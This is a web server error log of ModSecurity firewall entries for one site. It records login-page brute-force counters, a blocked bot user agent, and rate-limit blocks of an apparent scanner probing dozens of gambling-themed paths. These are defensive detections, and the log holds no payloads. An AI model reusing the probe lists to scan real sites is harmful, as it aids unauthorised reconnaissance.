[Fri Apr 24 21:31:43.838895 2026] [:error] [pid 14531:tid 14535] [client 65.254.225.224:57840] [client 65.254.225.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetwv3fLU2gw-6KR-GbTswAAAUI"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:53:22.519329 2026] [:error] [pid 17808:tid 17829] [client 184.168.115.118:61826] [client 184.168.115.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.115.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aet10uarbOEFI8qshvJNQAAAAFM"]
[Fri Apr 24 21:53:24.136614 2026] [:error] [pid 17808:tid 17816] [client 184.168.115.118:61826] [client 184.168.115.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.115.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aet11OarbOEFI8qshvJNQgAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:55:23.334249 2026] [:error] [pid 17720:tid 17765] [client 173.239.218.115:29403] [client 173.239.218.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "aet2S-hlUs6BS3Ng7_XBAAAAAMs"]
[Fri Apr 24 22:02:52.965337 2026] [:error] [pid 17720:tid 17758] [client 81.167.26.57:34954] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aet4DOhlUs6BS3Ng7_XEWgAAAMQ"]
[Fri Apr 24 22:02:54.959571 2026] [:error] [pid 17720:tid 17764] [client 81.167.26.57:21699] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aet4DuhlUs6BS3Ng7_XEbAAAAMo"]
[Fri Apr 24 22:02:56.930692 2026] [:error] [pid 17719:tid 17737] [client 81.167.26.57:7269] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aet4EMTZ9gzEyL1BkPq5SQAAAIo"]
[Fri Apr 24 22:02:58.928977 2026] [:error] [pid 17719:tid 17732] [client 81.167.26.57:41819] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aet4EsTZ9gzEyL1BkPq5TwAAAIU"]
[Fri Apr 24 22:03:00.900649 2026] [:error] [pid 17720:tid 17761] [client 81.167.26.57:2458] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aet4FOhlUs6BS3Ng7_XEiwAAAMc"]
[Fri Apr 24 22:03:02.896423 2026] [:error] [pid 4177:tid 4209] [client 81.167.26.57:47157] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aet4Fn2asKnvdrSe0x4-qgAAAZg"]
[Fri Apr 24 22:03:04.857780 2026] [:error] [pid 17719:tid 17734] [client 81.167.26.57:41395] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aet4GMTZ9gzEyL1BkPq5VQAAAIc"]
[Fri Apr 24 22:03:06.853824 2026] [:error] [pid 17721:tid 17786] [client 81.167.26.57:23613] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aet4GuFXXkLeyDnfk_9NUwAAAAU"]
[Fri Apr 24 22:03:08.840066 2026] [:error] [pid 17719:tid 17739] [client 81.167.26.57:26174] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aet4HMTZ9gzEyL1BkPq5WwAAAIw"]
[Fri Apr 24 22:03:10.820738 2026] [:error] [pid 17721:tid 17787] [client 81.167.26.57:11812] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aet4HuFXXkLeyDnfk_9NVwAAAAY"]
[Fri Apr 24 22:03:12.825114 2026] [:error] [pid 17721:tid 17785] [client 81.167.26.57:15257] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aet4IOFXXkLeyDnfk_9NWwAAAAQ"]
[Fri Apr 24 22:03:14.796989 2026] [:error] [pid 17719:tid 17747] [client 81.167.26.57:9924] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aet4IsTZ9gzEyL1BkPq5YAAAAJQ"]
[Fri Apr 24 22:03:16.764473 2026] [:error] [pid 17808:tid 17811] [client 81.167.26.57:42286] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aet4JOarbOEFI8qshvJQ-wAAAEE"]
[Fri Apr 24 22:03:18.749270 2026] [:error] [pid 17721:tid 17793] [client 81.167.26.57:61237] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aet4JuFXXkLeyDnfk_9NZwAAAAw"]
[Fri Apr 24 22:03:20.731380 2026] [:error] [pid 14531:tid 14536] [client 81.167.26.57:20605] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aet4KHfLU2gw-6KR-GbcYQAAAUM"]
[Fri Apr 24 22:03:22.749302 2026] [:error] [pid 17808:tid 17818] [client 81.167.26.57:9142] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aet4KuarbOEFI8qshvJRCAAAAEg"]
[Fri Apr 24 22:03:24.735876 2026] [:error] [pid 4177:tid 4198] [client 81.167.26.57:64709] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aet4LH2asKnvdrSe0x4-yQAAAY0"]
[Fri Apr 24 22:03:26.882091 2026] [:error] [pid 14531:tid 14556] [client 81.167.26.57:31497] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aet4LnfLU2gw-6KR-GbcagAAAVc"]
[Fri Apr 24 22:03:28.880864 2026] [:error] [pid 4177:tid 4186] [client 81.167.26.57:50837] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aet4MH2asKnvdrSe0x4-1wAAAYE"]
[Fri Apr 24 22:03:30.885875 2026] [:error] [pid 17808:tid 17833] [client 81.167.26.57:55303] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aet4MuarbOEFI8qshvJRGgAAAFc"]
[Fri Apr 24 22:03:32.875292 2026] [:error] [pid 4177:tid 4185] [client 81.167.26.57:62160] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aet4NH2asKnvdrSe0x4-4QAAAYA"]
[Fri Apr 24 22:03:34.846746 2026] [:error] [pid 17719:tid 17738] [client 81.167.26.57:52648] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aet4NsTZ9gzEyL1BkPq5awAAAIs"]
[Fri Apr 24 22:03:36.852855 2026] [:error] [pid 14531:tid 14544] [client 81.167.26.57:36956] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aet4OHfLU2gw-6KR-GbccAAAAUs"]
[Fri Apr 24 22:03:38.823219 2026] [:error] [pid 17719:tid 17733] [client 81.167.26.57:27730] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aet4OsTZ9gzEyL1BkPq5cQAAAIY"]
[Fri Apr 24 22:03:40.827474 2026] [:error] [pid 14531:tid 14536] [client 81.167.26.57:19072] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aet4PHfLU2gw-6KR-GbcdAAAAUM"]
[Fri Apr 24 22:03:42.831087 2026] [:error] [pid 22114:tid 22138] [client 81.167.26.57:18400] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aet4PoAuWGz3WlMQjof5dAAAARU"]
[Fri Apr 24 22:03:44.877823 2026] [:error] [pid 17720:tid 17778] [client 81.167.26.57:16359] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aet4QOhlUs6BS3Ng7_XEuAAAANg"]
[Fri Apr 24 22:03:47.014985 2026] [:error] [pid 17720:tid 17764] [client 81.167.26.57:45943] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aet4Q-hlUs6BS3Ng7_XEyQAAAMo"]
[Fri Apr 24 22:03:48.995868 2026] [:error] [pid 4177:tid 4188] [client 81.167.26.57:11519] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aet4RH2asKnvdrSe0x4_EAAAAYM"]
[Fri Apr 24 22:04:30.534687 2026] [:error] [pid 4177:tid 4207] [client 81.167.26.57:2745] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aet4bn2asKnvdrSe0x4_XwAAAZY"]
[Fri Apr 24 22:04:32.496885 2026] [:error] [pid 17808:tid 17828] [client 81.167.26.57:39242] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aet4cOarbOEFI8qshvJRWwAAAFI"]
[Fri Apr 24 22:04:34.495954 2026] [:error] [pid 17720:tid 17759] [client 81.167.26.57:45715] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aet4cuhlUs6BS3Ng7_XFWwAAAMU"]
[Fri Apr 24 22:04:36.454905 2026] [:error] [pid 17720:tid 17756] [client 81.167.26.57:57795] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aet4dOhlUs6BS3Ng7_XFYAAAAMI"]
[Fri Apr 24 22:04:38.435567 2026] [:error] [pid 17808:tid 17813] [client 81.167.26.57:54532] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aet4duarbOEFI8qshvJRXQAAAEM"]
[Fri Apr 24 22:04:40.419439 2026] [:error] [pid 17808:tid 17829] [client 81.167.26.57:12955] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aet4eOarbOEFI8qshvJRXwAAAFM"]
[Fri Apr 24 22:04:42.413512 2026] [:error] [pid 17808:tid 17825] [client 81.167.26.57:22003] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aet4euarbOEFI8qshvJRZAAAAE8"]
[Fri Apr 24 22:04:44.258304 2026] [:error] [pid 14531:tid 14542] [client 81.167.26.57:55818] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aet4fHfLU2gw-6KR-GbctgAAAUk"]
[Fri Apr 24 22:04:46.221515 2026] [:error] [pid 4177:tid 4188] [client 81.167.26.57:38259] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aet4fn2asKnvdrSe0x4_bgAAAYM"]
[Fri Apr 24 22:25:56.256481 2026] [:error] [pid 14531:tid 14550] [client 194.247.173.99:60878] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aet9dHfLU2gw-6KR-GbjBwAAAVE"]
[Fri Apr 24 22:25:58.232155 2026] [:error] [pid 4177:tid 4209] [client 194.247.173.99:48144] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aet9dn2asKnvdrSe0x5JXgAAAZg"]
[Fri Apr 24 22:26:01.248886 2026] [:error] [pid 4177:tid 4209] [client 194.247.173.99:37280] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aet9eX2asKnvdrSe0x5JZwAAAZg"]
[Fri Apr 24 22:26:03.304093 2026] [:error] [pid 14531:tid 14534] [client 194.247.173.99:37286] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aet9e3fLU2gw-6KR-GbjDgAAAUE"]
[Fri Apr 24 22:26:05.353246 2026] [:error] [pid 4177:tid 4187] [client 194.247.173.99:37296] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aet9fX2asKnvdrSe0x5JcwAAAYI"]
[Fri Apr 24 22:26:08.252963 2026] [:error] [pid 4177:tid 4195] [client 194.247.173.99:37302] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aet9gH2asKnvdrSe0x5JfQAAAYo"]
[Fri Apr 24 22:26:10.153605 2026] [:error] [pid 17721:tid 17799] [client 194.247.173.99:43606] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aet9guFXXkLeyDnfk_9SgAAAABI"]
[Fri Apr 24 22:26:12.141116 2026] [:error] [pid 22114:tid 22129] [client 194.247.173.99:43608] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aet9hIAuWGz3WlMQjof9iAAAAQw"]
[Fri Apr 24 22:26:16.617310 2026] [:error] [pid 17719:tid 17735] [client 194.247.173.99:43622] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aet9iMTZ9gzEyL1BkPq9PgAAAIg"]
[Fri Apr 24 22:34:27.245364 2026] [:error] [pid 17720:tid 17755] [client 104.131.50.136:44518] [client 104.131.50.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.131.50.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aet_c-hlUs6BS3Ng7_XZiwAAAME"]
[Fri Apr 24 22:34:28.825276 2026] [:error] [pid 17720:tid 17769] [client 104.131.50.136:44518] [client 104.131.50.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.131.50.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aet_dOhlUs6BS3Ng7_XZjwAAAM8"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 22:40:34.450708 2026] [:error] [pid 17719:tid 17743] [client 43.157.191.20:57518] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeuA4sTZ9gzEyL1BkPq_2gAAAJA"]
[Fri Apr 24 23:40:41.591131 2026] [:error] [pid 17808:tid 17818] [client 216.69.164.146:47458] [client 216.69.164.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.69.164.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuO-earbOEFI8qshvJ5zgAAAEg"]
